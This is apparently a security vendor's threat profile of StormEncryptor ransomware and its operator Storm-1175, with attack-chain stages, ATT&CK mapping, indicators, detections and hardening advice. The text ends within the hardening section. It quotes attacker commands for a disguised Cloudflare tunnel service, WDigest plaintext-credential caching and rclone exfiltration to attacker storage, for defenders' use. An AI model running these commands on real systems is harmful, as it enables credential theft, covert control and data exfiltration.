# StormEncryptor

Custom C++ ransomware · Deployed by Storm-1175 · First seen August 2, 2026

## Overview

StormEncryptor is a custom C++ ransomware payload deployed by Storm-1175, a China-linked, financially motivated threat actor tracked by Microsoft Threat Intelligence. The group began deploying StormEncryptor on August 2, 2026, representing its first publicly observed activity since April 2026 and a shift away from Medusa ransomware, which the group had previously used in extortion operations. The transition to a custom-built payload signals that Storm-1175 is no longer reliant on rented ransomware tooling and is investing in proprietary infrastructure.

Storm-1175 is also tracked under the alias Spearwing. The group has been active since at least 2023 and operates with a documented pattern of weaponizing newly disclosed or zero-day vulnerabilities in internet-facing software before patch adoption can occur. Microsoft documented the group exploiting at least 16 vulnerabilities since 2023, including flaws in Mirth Connect, ConnectWise ScreenConnect, JetBrains TeamCity, Fortinet FortiClient EMS, and Fortra GoAnywhere. The August 2026 campaign is assessed to exploit CVE-2026-18577, an authentication-bypass vulnerability in N-able N-central that was disclosed on August 2, 2026 and added to CISA's Known Exploited Vulnerabilities catalog on August 3, 2026.

N-able N-central is a remote monitoring and management platform used extensively by managed service providers and enterprise IT teams to administer servers, workstations, and network devices at scale. Compromising an N-central server gives an attacker administrative reach across every endpoint managed by that platform, which is why Storm-1175 targets RMM infrastructure specifically. The group has used up to eight different legitimate RMM tools during intrusions to establish persistence and blend with normal administrative traffic.

StormEncryptor appends the `.encrypted` extension to every file it processes and drops a ransom note named `!!!README_FIRST!!!.txt` into every directory it scans. The note instructs victims to contact the attackers via anonymized communication channels within three days, warning that stolen data will be published if they do not engage. Microsoft assesses that Storm-1175 can move from initial access to full data exfiltration and ransomware deployment within a few days, and in earlier campaigns the group achieved complete encryption in under 24 hours from the moment of compromise.

### Threat profile

| Detail | Value |
|---|---|
| Type | Custom ransomware |
| First seen | Aug 2, 2026 |
| Operator | Storm-1175 |
| Status | Actively operating |
| Alias | Storm-1175 / Spearwing |
| Previous payload | Medusa ransomware (2023–2026) |
| Language | C++ (Windows PE64) |
| Extortion | Double extortion (encrypt + leak threat) |
| File extension | `.encrypted` |
| Ransom note | `!!!README_FIRST!!!.txt` (per directory) |
| Initial access | CVE-2026-18577 (N-able N-central, likely) · prior: Mirth Connect, ScreenConnect, GoAnywhere |
| Key CVEs | CVE-2026-18577 · CVE-2026-18556 · CVE-2025-10035 · CVE-2024-1709 |
| Primary targets | Healthcare · education · finance · professional services (US, UK, Australia) |
| Defender detection | `Ransom:Win64/StormEncryptor` |

## Operational attack chain

1. **RMM platform exploitation**
   - CVE-2026-18577 auth bypass on N-able N-central, assessed as the likely initial-access vector; Microsoft has not formally confirmed this as the entry point.
   - Take Control feature abused for managed endpoint access.

2. **Persistence and reconnaissance**
   - New local admin account created.
   - AnyDesk / SimpleHelp deployed.
   - Advanced IP Scanner / netscan used for network mapping.

3. **Credential harvesting**
   - Mimikatz LSASS dump.
   - WDigest `UseLogonCredential` registry edit.
   - NTDS.dit and SAM extraction.
   - Veeam credential script.

4. **Lateral movement and C2 tunneling**
   - PowerShell, PsExec, Impacket, and RDP used for movement; firewall modified if RDP is blocked.
   - Cloudflare Tunnel renamed `conhost.exe`.
   - MITRE techniques: `T1572`, `T1036.005`.

5. **Defense tampering and data exfiltration**
   - Defender registry edits.
   - `C:\` exclusion via encoded PowerShell.
   - PhantomKiller (`k.sys`) terminates EDR.
   - Bandizip archives data.
   - Rclone syncs to attacker cloud storage.
   - MITRE techniques: `T1562.001`, `T1068`.

6. **StormEncryptor deployed network-wide**
   - PDQ Deployer or Group Policy distributes `StormEncryptor.exe`.
   - `.encrypted` extension appended.
   - `!!!README_FIRST!!!.txt` dropped per directory.
   - MITRE techniques: `T1486`, `T1490`.

Storm-1175 has compressed its full attack cycle to under 24 hours in some documented cases, though Microsoft's primary reporting characterizes the typical pace as often within a few days, with sub-24-hour deployment observed in a subset of intrusions. The window for detection narrows significantly after the Cloudflare tunnel is established.

## Tactics, techniques, and procedures

Storm-1175's attack chain spans eight MITRE ATT&CK tactics. The highest technique density falls in Defense Evasion, Credential Access, and Lateral Movement. Coverage below reflects Microsoft Threat Intelligence reporting through August 2026 and the April 2026 Storm-1175 deep-dive published by the Microsoft Security Blog.

### MITRE ATT&CK coverage

| Tactic | Observed techniques |
|---|---|
| Reconnaissance | 0 |
| Resource Development | 0 |
| Initial Access | 3 |
| Execution | 4 |
| Persistence | 3 |
| Privilege Escalation | 2 |
| Defense Evasion | 6 |
| Credential Access | 5 |
| Discovery | 3 |
| Lateral Movement | 4 |
| Collection | 2 |
| Command and Control | 3 |
| Exfiltration | 2 |
| Impact | 3 |

### Technique detail

| Tactic | Techniques | Observed behavior / defender telemetry |
|---|---|---|
| Initial Access | [Exploit Public-Facing App T1190](https://attack.mitre.org/techniques/T1190/) · [External Remote Services T1133](https://attack.mitre.org/techniques/T1133/) · [Valid Accounts T1078](https://attack.mitre.org/techniques/T1078/) | CVE-2026-18577, an N-able N-central authentication bypass, is assessed as the likely entry point. A patch bypass for CVE-2026-18556, it allows unauthenticated remote attackers to gain administrative control of the management console. Prior campaigns exploited ScreenConnect, JetBrains TeamCity, Fortinet FortiClient EMS, and GoAnywhere. The group has weaponized zero-days up to one week before public disclosure in at least three confirmed cases. Telemetry: N-central auth logs, anomalous Take Control sessions, and unusual admin API calls from unexpected source IPs. |
| Execution | [PowerShell T1059.001](https://attack.mitre.org/techniques/T1059/001/) · [Windows Command Shell T1059.003](https://attack.mitre.org/techniques/T1059/003/) · [WMI T1047](https://attack.mitre.org/techniques/T1047/) · [Service Execution T1569.002](https://attack.mitre.org/techniques/T1569/002/) | PowerShell adds Defender exclusion paths via encoded commands, configures Windows Firewall to enable RDP, and drives discovery. WMI provides remote process execution alongside PsExec. StormEncryptor is distributed via PDQ Deployer executing `RunFileCopy.cmd`, or via Group Policy, without per-host interaction. Telemetry: encoded Base64 PowerShell command lines, WMI remote process creation, unfamiliar scripts distributed by PDQ Deployer, Group Policy startup-script changes, and `RunFileCopy.cmd` process creation. |
| Persistence | [Local Account Creation T1136.001](https://attack.mitre.org/techniques/T1136/001/) · [Remote Access Tools T1219](https://attack.mitre.org/techniques/T1219/) · [Web Shell T1505.003](https://attack.mitre.org/techniques/T1505/003/) | The first post-exploitation action is creating a new local user account and adding it to the administrators group. The group deploys RMM tools including AnyDesk, SimpleHelp, Atera, MeshAgent, and ScreenConnect, up to eight simultaneously. Web shells in `.jsp` format were observed in GoAnywhere campaign directories. Telemetry: account creation (4720), admin group membership changes (4732), unapproved RMM binary installs, and software inventory deltas. |
| Privilege Escalation | [Exploit for Privilege Escalation T1068](https://attack.mitre.org/techniques/T1068/) · [Account Manipulation T1098](https://attack.mitre.org/techniques/T1098/) | After establishing the initial admin account, Storm-1175 pivots to domain controllers using harvested credentials to access NTDS.dit and the SAM hive, providing offline cracking material for the full domain. No separate privilege-escalation exploit is required once the initial admin account is created. Telemetry: PsExec pivots to domain controllers, `ntdsutil` or NTDS.dit file reads outside the AD DS service context, and unusual domain admin logons from unexpected source hosts. |
| Defense Evasion | [Impair Defenses T1562.001](https://attack.mitre.org/techniques/T1562/001/) · [Modify Registry T1112](https://attack.mitre.org/techniques/T1112/) · [Masquerading T1036.005](https://attack.mitre.org/techniques/T1036/005/) · [Impair Defenses: EDR Kill BYOVD T1562.001](https://attack.mitre.org/techniques/T1562/001/) · [Protocol Tunneling T1572](https://attack.mitre.org/techniques/T1572/) · [Obfuscated Files T1027](https://attack.mitre.org/techniques/T1027/) | Defender registry settings are modified and `C:\` is added as a blanket exclusion via encoded PowerShell. PhantomKiller loads a signed kernel driver, `k.sys`, based on the vulnerable Lenovo BootRepair.sys driver, from `C:\ProgramData\AnyDesk` to terminate security processes at kernel level via BYOVD. The group runs `tasklist \| findstr ms` and `findstr soph` before deploying it. Cloudflared is renamed `conhost.exe`, `MicrosoftEdgeUpdate64.exe`, or `msmp.exe` and placed in user-writable directories. Telemetry: Defender registry edits under `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender`, exclusion-path additions via encoded PowerShell (event 4104), kernel driver load (7045) of `k.sys` from ProgramData, security tool termination, and `conhost.exe` from non-system paths. |
| Credential Access | [LSASS Memory T1003.001](https://attack.mitre.org/techniques/T1003/001/) · [NTDS.dit T1003.003](https://attack.mitre.org/techniques/T1003/003/) · [SAM / SYSTEM Hive T1003.002](https://attack.mitre.org/techniques/T1003/002/) · [WDigest Caching T1112](https://attack.mitre.org/techniques/T1112/) · [Credentials from Password Stores T1555](https://attack.mitre.org/techniques/T1555/) | Mimikatz and Impacket are primary credential theft tools. LSASS is also dumped through Task Manager's create-dump capability. WDigest caching is reactivated by setting `UseLogonCredential` to `1`, forcing plaintext credential caching in LSASS. The group extracts NTDS.dit and the SAM hive after obtaining domain controller access. A dedicated script extracts plaintext Veeam Backup credentials. Telemetry: LSASS process access with `PROCESS_VM_READ`, `UseLogonCredential` registry writes, NTDS.dit access outside the AD DS service, and PowerShell reading the Veeam configuration database. |
| Discovery | [Network Service Scan T1046](https://attack.mitre.org/techniques/T1046/) · [Remote System Discovery T1018](https://attack.mitre.org/techniques/T1018/) · [Security Software Discovery T1518.001](https://attack.mitre.org/techniques/T1518/001/) | Advanced IP Scanner and netscan enumerate reachable hosts and services after the initial foothold. The group uses `tasklist /v \| findstr ms` and `findstr soph` to identify Defender and Sophos before deploying evasion tooling. Telemetry: Advanced IP Scanner or netscan execution, `tasklist` piped to `findstr`, SMB enumeration traffic, and discovery command bursts after new admin-account creation. |
| Lateral Movement | [RDP T1021.001](https://attack.mitre.org/techniques/T1021/001/) · [SMB Admin Shares T1021.002](https://attack.mitre.org/techniques/T1021/002/) · [Lateral Tool Transfer T1570](https://attack.mitre.org/techniques/T1570/) · [Remote Access Tools T1219](https://attack.mitre.org/techniques/T1219/) | PowerShell and PsExec handle SMB movement and payload staging. Impacket provides additional SMB capabilities. Where RDP is blocked, Storm-1175 modifies Windows Firewall rules. Renamed Cloudflare Tunnel provides encrypted outbound RDP pivoting. PDQ Deployer distributes StormEncryptor with `RunFileCopy.cmd`. Telemetry: firewall changes enabling RDP (Event ID 2004), logon types 3 and 10 (4624), unexpected PsExec service installs, SMB admin-share access (5140), and PDQ Deployer distributing unfamiliar binaries. |
| Collection | [Archive via Utility T1560.001](https://attack.mitre.org/techniques/T1560/001/) · [Local System Data T1005](https://attack.mitre.org/techniques/T1005/) | Bandizip compresses high-value files before exfiltration. The group prioritizes business-critical data, domain credential material, backup configuration, and financial or medical records. Rclone continuously synchronizes to attacker-controlled cloud storage. The ordering that exfiltration begins before credential harvesting completes is analyst inference based on Rclone's continuous-sync behavior, not a directly observed event sequence. Telemetry: Bandizip processes with archive arguments, large compressed files in staging directories, Rclone cloud-sync operations, and bulk file-read activity across shares. |
| Command and Control | [Protocol Tunneling T1572](https://attack.mitre.org/techniques/T1572/) · [Remote Access Tools T1219](https://attack.mitre.org/techniques/T1219/) · [Proxy T1090](https://attack.mitre.org/techniques/T1090/) | A Cloudflare Tunnel registered as a Windows service provides primary C2; cloudflared is renamed `conhost.exe`, `MicrosoftEdgeUpdate64.exe`, or `msmp.exe` and placed in non-standard directories. Multiple RMM tools provide redundant access. Telemetry: new services pointing to Cloudflare infrastructure, renamed cloudflared from user-writable paths, long-lived outbound HTTPS to Cloudflare endpoints, and multiple concurrent RMM processes. |
| Exfiltration | [Transfer to Cloud Account T1537](https://attack.mitre.org/techniques/T1537/) · [Exfiltration to Cloud Storage T1567.002](https://attack.mitre.org/techniques/T1567/002/) | Rclone continuously transfers data to attacker-controlled cloud storage. Newly written or modified files are picked up automatically, producing sustained smaller uploads rather than a single large burst. Bandizip reduces transfer size and file counts. Telemetry: `rclone` with `sync` or `copy` arguments, sustained server upload volume, and NetFlow anomalies showing prolonged medium-rate egress. |
| Impact | [Data Encrypted for Impact T1486](https://attack.mitre.org/techniques/T1486/) · [Inhibit System Recovery T1490](https://attack.mitre.org/techniques/T1490/) · [Financial Extortion T1657](https://attack.mitre.org/techniques/T1657/) | StormEncryptor recursively encrypts directories and appends `.encrypted` to affected names. `!!!README_FIRST!!!.txt` is dropped in every scanned directory. Encryption is distributed via PDQ Deployer or Group Policy. The documented recovery-inhibition mechanism is Veeam credential theft rather than shadow-copy deletion; classic VSS deletion has not been confirmed for StormEncryptor specifically. Telemetry: mass file renames and writes appending `.encrypted`, ransom-note creation, unsigned executable distribution via PDQ Deployer, and `StormEncryptor.exe` process creation with SHA-256 `c19ded65e822bb43ad0381c58abf33b7c8890f7bcc7125058a0c849c7e1a6054`. |
| Reconnaissance / Resource Development | — | Not observed in-network. Storm-1175 conducts external reconnaissance by monitoring vulnerability databases and scanning internet-facing IP ranges for unpatched management systems before entry. This occurs outside victim infrastructure. |

### Stage 1: How the attack starts

Storm-1175 targets internet-facing management infrastructure by design. The group monitors public vulnerability databases, scans exposed IP ranges, and moves to exploit within hours of a vulnerability becoming actionable. CVE-2026-18577 is an authentication-bypass flaw in N-able N-central, a widely deployed RMM platform. N-able first detected exploitation on July 31, 2026. The vulnerability was disclosed and added to CISA's Known Exploited Vulnerabilities catalog on August 2 and 3 respectively. Storm-1175's StormEncryptor campaign began on August 2, the same day as disclosure. Microsoft assesses CVE-2026-18577 as the likely initial access vector, but has not formally confirmed it as the entry point. The timing is consistent with the group's documented pattern of zero-day and near-zero-day exploitation.

CVE-2026-18577 is a patch bypass for the earlier CVE-2026-18556. Sending a crafted request to a vulnerable N-central server bypasses administrative authentication entirely, giving the attacker full control over the management console and administrative reach into every endpoint managed by that platform. A single vulnerable N-central instance can expose thousands of managed endpoints to an attacker who has not yet made direct contact with any of those endpoints.

Prior campaigns used vulnerabilities in Mirth Connect, ConnectWise ScreenConnect, JetBrains TeamCity, Fortinet FortiClient EMS, and Fortra GoAnywhere. The group also exploited zero-days in SmarterMail (CVE-2026-23760) and GoAnywhere (CVE-2025-10035) up to one week before public disclosure. The pattern is consistent: the group identifies and pre-positions against RMM and managed file transfer infrastructure before the product's user base has time to patch.

### Stage 2: What runs on the endpoint

After gaining access through the RMM platform, Storm-1175 runs a disciplined post-exploitation sequence using tools that generate no per-binary malware alerts. The first action is creating a new local account and adding it to the administrators group before any other activity. From that account, lateral movement and credential harvesting proceed in parallel using legitimate administrative tooling.

PowerShell handles discovery, firewall modification, and Defender exclusion configuration. PsExec and Impacket move payloads and run remote processes over SMB. Where RDP is blocked, Storm-1175 directly modifies Windows Firewall rules to re-enable it. The observed RMM toolkit spans AnyDesk, SimpleHelp, Atera, MeshAgent, ScreenConnect, and DWAgent across prior campaigns; the August 2026 N-central campaign specifically added TacticalRMM, TeamViewer, RustDesk, and HopToDesk, according to Sophos CTU, with up to eight tools simultaneously.

For network-wide payload distribution, PDQ Deployer executes `RunFileCopy.cmd` to push StormEncryptor across the environment simultaneously, converting a single foothold into a network-wide encryption event without requiring individual host compromise.

Cloudflare Tunnel masquerade service-registration pattern:

```powershell
sc create Cloudflared binPath= "C:\Users\Public\conhost.exe tunnel --no-autoupdate run --token [TOKEN]" start= auto
sc start Cloudflared
```

Pattern documented in N-able N-central exploitation reporting from August 2026; cloudflared is renamed to blend with Windows system processes.

### Stage 3: How the malware evades detection

Storm-1175's evasion strategy addresses the three most common detection layers in sequence: signature-based AV, behavior-based EDR, and network perimeter inspection. Each layer is addressed before the next phase of the attack runs.

Antivirus is bypassed by modifying Microsoft Defender registry settings and using an encoded PowerShell command to add `C:\` to the exclusion list, ensuring StormEncryptor and staging tools execute from any path without triggering a detection.

Against EDR, the group enumerates running security processes using `tasklist /v | findstr ms` and `tasklist /v | findstr soph`, then deploys PhantomKiller. PhantomKiller loads a signed kernel driver named `k.sys` from `C:\ProgramData\AnyDesk` via a BYOVD approach and uses it to terminate security processes at kernel level, where user-mode protections cannot stop it.

Network-layer detection is addressed by running all C2 traffic through a Cloudflare Tunnel registered as a Windows service. The cloudflared binary is renamed to `conhost.exe` or `MicrosoftEdgeUpdate64.exe` and placed in user-writable directories. Because the traffic is outbound HTTPS to Cloudflare infrastructure, it is difficult to block without broad policy impact.

WDigest caching enabled through the registry:

```powershell
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
```

Documented in the Microsoft Security Blog in April 2026; this forces plaintext credential caching in LSASS memory for Mimikatz extraction.

### Stage 4: What it tries to access or modify

Credential harvesting is the central post-exploitation activity before ransomware deployment. Mimikatz and Impacket dump LSASS memory for Kerberos tickets and cached credentials. The WDigest registry edit forces Windows to cache credentials in plaintext in LSASS, which Mimikatz then reads even from accounts otherwise protected by modern Windows credential isolation. Task Manager's create-dump function provides a quieter alternative LSASS dump without a third-party tool on disk.

Domain controller access is pursued aggressively because NTDS.dit contains all domain password hashes. A dedicated script extracts plaintext credentials from Veeam Backup software databases, simultaneously granting access to backup infrastructure and compromising the organization's recovery capability before encryption begins. Defenders should assume the same backup-destruction intent documented in Storm-1175's prior Medusa campaigns applies to StormEncryptor deployments.

Encryption is the final step. StormEncryptor is distributed via PDQ Deployer or Group Policy and recursively encrypts directories, appending `.encrypted` to every affected file, with the ransom note dropped per directory. Microsoft Defender for Endpoint generates alerts including “Hands-on-keyboard attack involving multiple devices” and “Potential human-operated malicious activity,” useful SOC triage signals even when the binary itself is not blocked.

### Execution flow

```text
N-central Take Control agent
└─ cmd.exe [PID 1844]                                      // New local admin account · T1136.001
   └─ net.exe user [attacker] [password] /add; net localgroup administrators [attacker] /add

sc.exe [PID 2291] create Cloudflared binPath= "C:\Users\Public\conhost.exe tunnel --token ..."
                                                          // Cloudflare C2 masquerade · T1572 / T1036.005

powershell.exe [PID 3407]                                // Malicious · T1059.001
└─ reg.exe add HKLM\...\WDigest /v UseLogonCredential /d 1
                                                          // WDigest enable · T1112
└─ powershell.exe -EncodedCommand [Base64] C:\ Defender exclusion add
                                                          // AV bypass · T1562.001

mimikatz.exe [PID 4819]                                  // LSASS dump · T1003.001
└─ tasklist.exe /v | findstr soph / findstr ms            // Security product enumeration before PhantomKiller
└─ 9.exe (PhantomKiller)                                  // Loads k.sys from C:\ProgramData\AnyDesk; terminates EDR

rclone.exe sync --config rclone.conf "SrcPath" remote:exfil
                                                          // Continuous exfiltration · T1537
bandizip.exe a -aoa [archive].zip [staged_path]           // Pre-exfil archive · T1560.001

PDQDeployRunner.exe                                       // Distributes RunFileCopy.cmd network-wide via PDQ Deployer
└─ StormEncryptor.exe                                     // Recursively encrypts; .encrypted appended; ransom note dropped
```

## Where Malware Protection Plus fits

StormEncryptor's most detectable behaviors appear on Windows endpoints before the encryptor runs: the WDigest registry modification, the PhantomKiller kernel driver load, the renamed Cloudflare Tunnel service registration, and the Rclone exfiltration chain. [Malware Protection Plus](https://www.manageengine.com/malware-protection/) focuses on detecting these behavioral patterns across managed endpoints.

The key in-scope indicators are the `UseLogonCredential` registry write, the `k.sys` BYOVD driver load from ProgramData, encoded PowerShell adding `C:\` as a Defender exclusion, and mass file renaming to `.encrypted`. Malware Protection Plus can identify these patterns, isolate affected endpoints to prevent lateral spread, and preserve process-lineage artifacts for investigation and root-cause analysis.

The upstream N-central compromise and initial RMM platform exploitation require RMM vendor patching, network access controls, and management platform monitoring. Malware Protection Plus complements these controls by covering the Windows-side kill chain from the moment the attacker steps onto the managed endpoint.

## Indicators of compromise

Durable behavioral indicators remain relevant across StormEncryptor variants because the underlying technique sequence is consistent. Volatile indicators such as hashes, IP addresses, and Cloudflare token values expire or rotate and should be sourced live from CISA and the Microsoft Security Blog.

### Ransomware artifacts

- `!!!README_FIRST!!!.txt`
  - Ransom note dropped in every directory StormEncryptor scans.
- `.encrypted`
  - File extension appended to every file StormEncryptor encrypts.
- `RunFileCopy.cmd`
  - PDQ Deployer script used to distribute StormEncryptor network-wide.

### Registry artifacts

- `HKLM\...\WDigest\UseLogonCredential = 1`
  - Enables plaintext credential caching in LSASS for Mimikatz harvesting.
- `HKLM\SOFTWARE\Policies\...\Windows Defender (modified)`
  - Defender settings disabled; `C:\` added to exclusion paths.
- `HKLM\SYSTEM\...\Services\Cloudflared (new service)`
  - Cloudflare Tunnel registered as a persistent Windows service.

### Process and command-line patterns

- `conhost.exe / MicrosoftEdgeUpdate64.exe tunnel --token [...]`
  - Renamed Cloudflare Tunnel binary running as a persistent service.
- `tasklist /v | findstr ms && tasklist /v | findstr soph`
  - Security-product enumeration before PhantomKiller deployment.
- `k.sys loaded from C:\ProgramData\AnyDesk`
  - PhantomKiller BYOVD driver that terminates EDR processes at kernel level.
- `powershell.exe -EncodedCommand [Base64] (C:\ exclusion)`
  - Encoded PowerShell adds the entire `C:\` drive as a Defender exclusion.
- `reg add HKLM\...\WDigest /v UseLogonCredential /d 1`
  - Enables plaintext credential caching for Mimikatz extraction.
- `rclone.exe sync --config rclone.conf [src] remote:[dst]`
  - Continuous data exfiltration to attacker-controlled cloud storage.
- `new local admin account creation immediately post-access`
  - First post-exploitation action, ensuring persistence before further activity.

### Tooling observed across Storm-1175 operations

- `AnyDesk · SimpleHelp · Atera · MeshAgent · ScreenConnect · DWAgent`
  - Used in prior campaigns.
- `TacticalRMM · TeamViewer · RustDesk · HopToDesk`
  - Observed during the August 2026 N-central campaign according to Sophos CTU.
- `Mimikatz · Impacket · Advanced IP Scanner · netscan`
  - Credential theft and network discovery.
- `Bandizip · Rclone · PDQ Deployer`
  - Staging, exfiltration, and ransomware distribution.
- `PhantomKiller (9.exe) · k.sys kernel driver`
  - BYOVD tooling used to terminate security products at kernel level.

Legitimate and dual-use tool presence is a signal in a non-approved context, not confirmation on its own. Up to eight RMM tools may be used simultaneously, so detection requires an approved-tool baseline.

### Build-specific hash

`c19ded65e822bb43ad0381c58abf33b7c8890f7bcc7125058a0c849c7e1a6054`

SHA-256 for a StormEncryptor sample identified as `Ransom:Win64/StormEncryptor` by Microsoft Threat Intelligence in August 2026. This is a single known build and may change on rebuild; use it as a confirmation aid rather than a primary detection rule.

## Detection & Analysis

Storm-1175 moves from initial access to encryption in under 24 hours in documented cases. Detection based solely on the StormEncryptor binary hash arrives too late: by the time the encryptor runs, credential material is exfiltrated, defenses are tampered with, and PDQ Deployer has already pushed the payload to every reachable endpoint. The detections below are ordered by kill-chain position, earliest first.

### 1. Anomalous RMM platform activity and N-central authentication events

**Telemetry source:** RMM platform logs / network telemetry

Unexpected Take Control sessions originating from new or external source IPs on N-central, administrative API calls outside maintenance windows, and indicators specific to CVE-2026-18577 and CVE-2026-18556 should trigger alerts. Alert on N-central administrative sessions that generate new outbound connections from managed endpoints within minutes of the session starting.

**Why it works:** Storm-1175's initial access produces no malware artifacts. The earliest detectable signal is anomalous administrative behavior on the RMM console itself. Monitoring the management platform is the only pre-persistence detection opportunity in this attack chain.

### 2. New local administrator account creation immediately post-access

**Telemetry source:** Active Directory / endpoint telemetry

Alert on new local accounts created and immediately added to the administrators group, Event IDs 4720 and 4732, particularly when creation occurs shortly after an RMM session, a new remote desktop logon, or management platform authentication from an unusual source.

**Why it works:** Creating a persistence account is Storm-1175's first post-exploitation action, before credential harvesting or tool deployment. This predictable event produces clear Windows event logs and is the earliest in-network Storm-1175 signal captured by standard Windows logging.

### 3. WDigest UseLogonCredential registry modification

**Telemetry source:** Registry / endpoint telemetry

Alert on any write to `HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential` setting the value to `1`. This registry key controls whether Windows caches credentials in plaintext in LSASS memory. It should never be set to `1` on a production system running Windows 8.1 or later.

**Why it works:** WDigest credential caching was disabled by default in Windows 8.1 and later because it exposes plaintext credentials to memory scraping. A write of `1` to this key is almost exclusively associated with attacker activity in modern environments and has no legitimate administrative use case.

### 4. Renamed Cloudflare Tunnel binary registered as a Windows service

**Telemetry source:** Service event log / process telemetry

Alert on new Windows service registrations, Event ID 7045, where the binary path points to a file in user-writable locations such as Public, ProgramData, or Temp and the process name does not match known `cloudflared.exe` binaries. Monitor specifically for `conhost.exe`, `MicrosoftEdgeUpdate64.exe`, and `msmp.exe` running tunnel arguments. Alert on long-lived outbound HTTPS sessions from newly registered services to Cloudflare infrastructure.

**Why it works:** Legitimate `conhost.exe` does not establish outbound tunnel connections. A process with that name running Cloudflare tunnel arguments from a non-standard path is unambiguous attacker activity, catching both the C2 channel and the evasion technique.

### 5. PhantomKiller kernel driver load (`k.sys`) from ProgramData

**Telemetry source:** Kernel telemetry / driver event logs

Monitor kernel driver-load events, Event ID 7045 and Sysmon Event ID 6, where the driver binary path is under `C:\ProgramData\AnyDesk` or other user-writable paths. Alert on new service installs followed within seconds by termination of antivirus or EDR processes. Watch specifically for a process named `9.exe` or similar single-character names loading `k.sys`.

**Why it works:** PhantomKiller neutralizes EDR tools before encryption. Detecting the driver load before endpoint-security termination is the last window for a fully instrumented response. After this point, telemetry collection is actively degraded.

### 6. Microsoft Defender registry tampering and broad exclusion paths

**Telemetry source:** Registry / endpoint telemetry

Alert on modifications to Defender policy registry keys under `HKLM\SOFTWARE\Policies\Microsoft\Windows Defender`, and specifically on exclusion-path additions that include a system-drive root such as `C:\`. Monitor encoded PowerShell commands containing the `Add-MpPreference` cmdlet or direct registry writes to exclusion-path values.

**Why it works:** Adding `C:\` as a Defender exclusion disables antivirus coverage for the entire system. There is no legitimate administrative reason to apply this exclusion in a production environment. The modification is explicitly documented in Storm-1175 operations and creates a detectable registry-write event.

### 7. Rclone continuous exfiltration and Bandizip staging

**Telemetry source:** Network / DLP / process telemetry

Alert on `rclone.exe` processes executing with `sync` or `copy` arguments pointing to remote cloud endpoints. Monitor for sustained outbound upload volume from server-class machines to cloud-storage destinations. Bandizip processes creating large archives in staging directories outside a backup-tooling context are similarly anomalous.

**Why it works:** Storm-1175 exfiltrates data before encryption. Detecting Rclone gives a window to block transfer before data leaves the network. Its continuous synchronization model means transfers continue throughout the intrusion, increasing detection opportunities before encryption.

### 8. PDQ Deployer distributing unsigned or unfamiliar executables

**Telemetry source:** Process / software deployment telemetry

Alert on PDQ Deployer distributing executables outside the organization's approved software catalog, particularly binaries without version information, digital signatures, or names matching `RunFileCopy.cmd`. Monitor for PDQ Deployer scripts that trigger mass process creation across the network in a short period.

**Why it works:** PDQ Deployer is Storm-1175's mechanism for network-wide StormEncryptor delivery. A single alert on this distribution pattern can intercept encryption before it completes across target hosts. PDQ Deployer distributing an unsigned binary outside a change window should be treated as a critical incident.

Detections 01 through 03 fire before credential harvesting completes. Detections 04 and 05 cover C2 establishment and the EDR-kill phase. Detections 06 through 08 cover exfiltration and pre-encryption. Catching the WDigest registry write or admin-account creation is more valuable than catching encryptor execution because defensive options may be disabled by encryption onset.

## Hardening Guidelines

These controls target Storm-1175's specific dependencies: unpatched RMM platforms, WDigest credential exposure, broad Defender exclusions, kernel-level EDR bypass, and backup infrastructure access.

### 1. Patch internet-facing RMM and management platforms immediately after advisories

**Priority:** Critical

Storm-1175 moves within hours of vulnerability disclosure. CVE-2026-18577 was exploited on the day it was disclosed. Treat CISA KEV entries for internet-facing management platforms as requiring emergency patch timelines, not standard monthly cycles. Self-hosted N-central deployments must be updated manually to version 2026.3.1.10 (Hotfix 2) or later.

Subscribe to vendor security advisories and the CISA KEV feed. Establish an emergency patching workflow for internet-facing management infrastructure that operates outside normal change windows when a KEV entry is issued.

### 2. Enforce MFA and restrict internet exposure on all management consoles

**Priority:** Critical

Authentication bypass vulnerabilities are most impactful when management consoles are directly internet-accessible without additional authentication layers. Require phishing-resistant MFA for administrative access, restrict administrative interfaces to known IP ranges, and monitor login events continuously. Where possible, place management consoles behind a VPN or zero-trust access gateway.

This applies to N-central, ConnectWise ScreenConnect, Atera, and any other management platform with an internet-facing administrative interface.

### 3. Enforce a WDigest-off policy and enable Credential Guard

**Priority:** Quick win

Deploy a Group Policy Object that explicitly sets `UseLogonCredential` to `0` and prevents modification by non-system processes. On supported hardware, enable Windows Credential Guard to virtualize LSASS secrets so they are inaccessible even if WDigest caching is re-enabled. An attacker who cannot extract plaintext credentials from LSASS must rely on hash-based movement, which is significantly more detectable.

**Path:** Computer Configuration → Administrative Templates → System → Device Guard for Credential Guard.

WDigest policy:

```text
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0
```

Deploy this setting through GPO preference.

### 4. Enable HVCI and the Microsoft Vulnerable Driver Blocklist

**Priority:** Standard

Hypervisor-Protected Code Integrity prevents unauthorized kernel drivers from loading, blocking the PhantomKiller `k.sys` BYOVD technique. The Microsoft Vulnerable Driver Blocklist blocks known vulnerable signed drivers used in BYOVD campaigns. Enabling both significantly raises the cost of kernel-level EDR bypass for Storm-1175 and similar groups.

**Path:** System → Device Security → Core Isolation → Memory Integrity, or Group Policy.

Deploy the Microsoft recommended driver blocklist alongside HVCI. Start in audit mode to identify driver-compatibility issues.

### 5. Restrict Defender exclusion-path management and enable Tamper Protection

**Priority:** Quick win

Apply a Group Policy preventing non-administrative accounts from modifying Defender exclusion paths. Enable Tamper Protection to block registry modifications to Defender settings from outside the security product itself. Alert on exclusion paths including a root drive such as `C:\` added through PowerShell, Registry Editor, or Command Prompt.

**Path:** Windows Security → Virus and Threat Protection Settings → Tamper Protection.

GPO restriction path: Computer Configuration → Administrative Templates → Windows Defender Antivirus.

### 6. Establish and enforce an approved RMM tool baseline

**Priority:** Standard

Storm-1175 uses up to eight RMM tools as C2 channels. An approved list enforced with AppLocker or WDAC removes the attacker's ability to blend redundant access channels with legitimate administration. Alert on RMM tool installations not initiated through an approved deployment workflow.

Build an approved remote-access tool baseline. Any RMM tool installed outside the approved deployment mechanism should trigger an immediate alert and investigation rather than a deferred ticket.

### 7. Isolate backup infrastructure and protect Veeam credentials

**Priority:** Standard

